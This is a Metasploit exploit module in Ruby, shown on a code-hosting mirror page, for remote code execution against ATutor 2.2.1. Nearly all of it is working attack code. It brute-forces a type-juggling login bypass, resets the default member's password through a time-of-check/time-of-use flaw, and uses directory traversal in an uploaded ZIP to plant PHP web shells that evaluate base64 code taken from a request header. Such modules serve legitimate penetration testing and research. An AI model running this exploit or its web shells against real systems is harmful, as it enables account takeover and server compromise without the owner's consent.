Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/atutor_filemanager_traversal.rb
24936 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'ATutor 2.2.1 Directory Traversal / Remote Code Execution',
17
'Description' => %q{
18
This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP
19
setup with display_errors set to On, which can be used to allow us to upload a malicious
20
ZIP file. On the web application, a blacklist verification is performed before extraction,
21
however it is not sufficient to prevent exploitation.
22
23
You are required to login to the target to reach the vulnerability, however this can be
24
done as a student account and remote registration is enabled by default.
25
26
Just in case remote registration isn't enabled, this module uses 2 vulnerabilities
27
in order to bypass the authentication:
28
29
1. confirm.php Authentication Bypass Type Juggling vulnerability
30
2. password_reminder.php Remote Password Reset TOCTOU vulnerability
31
},
32
'License' => MSF_LICENSE,
33
'Author' => [
34
'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code
35
],
36
'References' => [
37
[ 'CVE', '2016-2555' ],
38
[ 'CVE', '2017-1000002' ],
39
[ 'URL', 'http://www.atutor.ca/' ], # Official Website
40
[ 'URL', 'http://sourceincite.com/research/src-2016-09/' ], # Type Juggling Advisory
41
[ 'URL', 'http://sourceincite.com/research/src-2016-10/' ], # TOCTOU Advisory
42
[ 'URL', 'http://sourceincite.com/research/src-2016-11/' ], # Directory Traversal Advisory
43
[ 'URL', 'https://github.com/atutor/ATutor/pull/107' ]
44
],
45
'Privileged' => false,
46
'Payload' => {
47
'DisableNops' => true
48
},
49
'Platform' => ['php'],
50
'Arch' => ARCH_PHP,
51
'Targets' => [[ 'Automatic', {}]],
52
'DisclosureDate' => '2016-03-01',
53
'DefaultTarget' => 0,
54
'Notes' => {
55
'Reliability' => UNKNOWN_RELIABILITY,
56
'Stability' => UNKNOWN_STABILITY,
57
'SideEffects' => UNKNOWN_SIDE_EFFECTS
58
}
59
)
60
)
61
62
register_options(
63
[
64
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
65
OptString.new('USERNAME', [false, 'The username to authenticate as']),
66
OptString.new('PASSWORD', [false, 'The password to authenticate with'])
67
]
68
)
69
end
70
71
def post_auth?
72
true
73
end
74
75
def print_status(msg = '')
76
super("#{peer} - #{msg}")
77
end
78
79
def print_error(msg = '')
80
super("#{peer} - #{msg}")
81
end
82
83
def print_good(msg = '')
84
super("#{peer} - #{msg}")
85
end
86
87
def check
88
# there is no real way to finger print the target so we just
89
# check if we can upload a zip and extract it into the web root...
90
# obviously not ideal, but if anyone knows better, feel free to change
91
unless datastore['USERNAME'] && datastore['PASSWORD']
92
# if we cant login, it may still be vuln
93
return Exploit::CheckCode::Unknown 'Check requires credentials. The target may still be vulnerable. If so, it may be possible to bypass authentication.'
94
end
95
96
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], check = true)
97
if !student_cookie.nil? && disclose_web_root
98
begin
99
if upload_shell(student_cookie, check = true) && found
100
return Exploit::CheckCode::Vulnerable
101
end
102
rescue Msf::Exploit::Failed => e
103
vprint_error(e.message)
104
end
105
end
106
return Exploit::CheckCode::Unknown
107
end
108
109
def create_zip_file(check = false)
110
zip_file = Rex::Zip::Archive.new
111
@header = Rex::Text.rand_text_alpha_upper(4)
112
@payload_name = Rex::Text.rand_text_alpha_lower(4)
113
@archive_name = Rex::Text.rand_text_alpha_lower(3)
114
@test_string = Rex::Text.rand_text_alpha_lower(8)
115
# we traverse back into the webroot mods/ directory (since it will be writable)
116
path = "../../../../../../../../../../../../..#{@webroot}mods/"
117
118
# we use this to give us the best chance of success. If a webserver has htaccess override enabled
119
# we will win. If not, we may still win because these file extensions are often registered as php
120
# with the webserver, thus allowing us remote code execution.
121
if check
122
zip_file.add_file("#{path}#{@payload_name}.txt", @test_string.to_s)
123
else
124
register_file_for_cleanup('.htaccess', "#{@payload_name}.pht", "#{@payload_name}.php4", "#{@payload_name}.phtml")
125
zip_file.add_file("#{path}.htaccess", 'AddType application/x-httpd-php .phtml .php4 .pht')
126
zip_file.add_file("#{path}#{@payload_name}.pht", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
127
zip_file.add_file("#{path}#{@payload_name}.php4", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
128
zip_file.add_file("#{path}#{@payload_name}.phtml", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
129
end
130
zip_file.pack
131
end
132
133
def found
134
res = send_request_cgi({
135
'method' => 'GET',
136
'uri' => normalize_uri(target_uri.path, 'mods', "#{@payload_name}.txt")
137
})
138
if res && (res.code == 200) && res.body =~ /#{@test_string}/
139
return true
140
end
141
142
return false
143
end
144
145
def disclose_web_root
146
res = send_request_cgi({
147
'method' => 'GET',
148
'uri' => normalize_uri(target_uri.path, 'jscripts', 'ATutor_js.php')
149
})
150
@webroot = '/'
151
@webroot << Regexp.last_match(1) if res && res.body =~ %r{\<b\>/(.*)jscripts/ATutor_js\.php\</b\> }
152
if @webroot != '/'
153
return true
154
end
155
156
return false
157
end
158
159
def call_php(ext)
160
res = send_request_cgi({
161
'method' => 'GET',
162
'uri' => normalize_uri(target_uri.path, 'mods', "#{@payload_name}.#{ext}"),
163
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
164
}, timeout = 0.1)
165
return res
166
end
167
168
def exec_code
169
res = call_php('pht')
170
unless res
171
res = call_php('phtml')
172
unless res
173
call_php('php4')
174
end
175
end
176
end
177
178
def upload_shell(cookie, check)
179
post_data = Rex::MIME::Message.new
180
post_data.add_part(create_zip_file(check), 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{@archive_name}.zip\"")
181
post_data.add_part(Rex::Text.rand_text_alpha_upper(4).to_s, nil, nil, 'form-data; name="submit_import"')
182
data = post_data.to_s
183
res = send_request_cgi({
184
'uri' => normalize_uri(target_uri.path, 'mods', '_standard', 'tests', 'question_import.php'),
185
'method' => 'POST',
186
'data' => data,
187
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
188
'cookie' => cookie,
189
'vars_get' => {
190
'h' => ''
191
}
192
})
193
if res && res.code == 302 && res.redirection.to_s.include?('question_db.php')
194
return true
195
end
196
197
# unknown failure...
198
fail_with(Failure::Unknown, 'Unable to upload php code')
199
return false
200
end
201
202
def find_user(cookie)
203
res = send_request_cgi({
204
'method' => 'GET',
205
'uri' => normalize_uri(target_uri.path, 'users', 'profile.php'),
206
'cookie' => cookie,
207
# we need to set the agent to the same value that was in type_juggle,
208
# since the bypassed session is linked to the user-agent. We can then
209
# use that session to leak the username
210
'agent' => ''
211
})
212
username = Regexp.last_match(1).to_s if res && res.body =~ %r{<span id="login">(.*)</span>}
213
if username
214
return username
215
end
216
217
# else we fail, because we dont know the username to login as
218
fail_with(Failure::Unknown, 'Unable to find the username!')
219
end
220
221
def type_juggle
222
# high padding, means higher success rate
223
# also, we use numbers, so we can count requests :p
224
for i in 1..8
225
for @number in ('0' * i..'9' * i)
226
res = send_request_cgi({
227
'method' => 'POST',
228
'uri' => normalize_uri(target_uri.path, 'confirm.php'),
229
'vars_post' => {
230
'auto_login' => '',
231
'code' => '0' # type juggling
232
},
233
'vars_get' => {
234
'e' => @number, # the bruteforce
235
'id' => '',
236
'm' => '',
237
# the default install script creates a member
238
# so we know for sure, that it will be 1
239
'member_id' => '1'
240
},
241
# need to set the agent, since we are creating x number of sessions
242
# and then using that session to get leak the username
243
'agent' => ''
244
}, redirect_depth = 0) # to validate a successful bypass
245
if res && (res.code == 302)
246
cookie = "ATutorID=#{Regexp.last_match(3)};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
247
return cookie
248
end
249
end
250
end
251
# if we finish the loop and have no sauce, we cant make pasta
252
fail_with(Failure::Unknown, 'Unable to exploit the type juggle and bypass authentication')
253
end
254
255
def reset_password
256
# this is due to line 79 of password_reminder.php
257
days = (Time.now.to_i / 60 / 60 / 24)
258
# make a semi strong password, we have to encourage security now :->
259
pass = Rex::Text.rand_text_alpha(32)
260
hash = Rex::Text.sha1(pass)
261
res = send_request_cgi({
262
'method' => 'POST',
263
'uri' => normalize_uri(target_uri.path, 'password_reminder.php'),
264
'vars_post' => {
265
'form_change' => 'true',
266
# the default install script creates a member
267
# so we know for sure, that it will be 1
268
'id' => '1',
269
'g' => days + 1, # needs to be > the number of days since epoch
270
'h' => '', # not even checked!
271
'form_password_hidden' => hash, # remotely reset the password
272
'submit' => 'Submit'
273
}
274
}, redirect_depth = 0) # to validate a successful bypass
275
276
if res && (res.code == 302)
277
return pass
278
end
279
280
# if we land here, the TOCTOU failed us
281
fail_with(Failure::Unknown, 'Unable to exploit the TOCTOU and reset the password')
282
end
283
284
def login(username, password, check = false)
285
hash = Rex::Text.sha1(Rex::Text.sha1(password))
286
res = send_request_cgi({
287
'method' => 'POST',
288
'uri' => normalize_uri(target_uri.path, 'login.php'),
289
'vars_post' => {
290
'form_password_hidden' => hash,
291
'form_login' => username,
292
'submit' => 'Login',
293
'token' => ''
294
}
295
})
296
# poor php developer practices
297
cookie = "ATutorID=#{Regexp.last_match(4)};" if res && res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
298
if res && res.code == 302
299
if res.redirection.to_s.include?('bounce.php?course=0')
300
return cookie
301
end
302
end
303
# auth failed if we land here, bail
304
unless check
305
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
306
end
307
return nil
308
end
309
310
def exploit
311
# login if needed
312
if datastore['USERNAME'] && datastore['PASSWORD']
313
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
314
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
315
print_good("Logged in as #{datastore['USERNAME']}")
316
# else, we reset the students password via a type juggle vulnerability
317
else
318
print_status('Account details are not set, bypassing authentication...')
319
print_status('Triggering type juggle attack...')
320
student_cookie = type_juggle
321
print_good("Successfully bypassed the authentication in #{@number} requests !")
322
username = find_user(student_cookie)
323
print_good("Found the username: #{username} !")
324
password = reset_password
325
print_good("Successfully reset the #{username}'s account password to #{password} !")
326
report_cred(user: username, password: password)
327
student_cookie = login(username, password)
328
print_good("Logged in as #{username}")
329
end
330
331
if disclose_web_root
332
print_good('Found the webroot')
333
# we got everything. Now onto pwnage
334
if upload_shell(student_cookie, false)
335
print_good('Zip upload successful !')
336
exec_code
337
end
338
end
339
end
340
end
341
342
def service_details
343
super.merge({ post_reference_name: refname })
344
end
345
346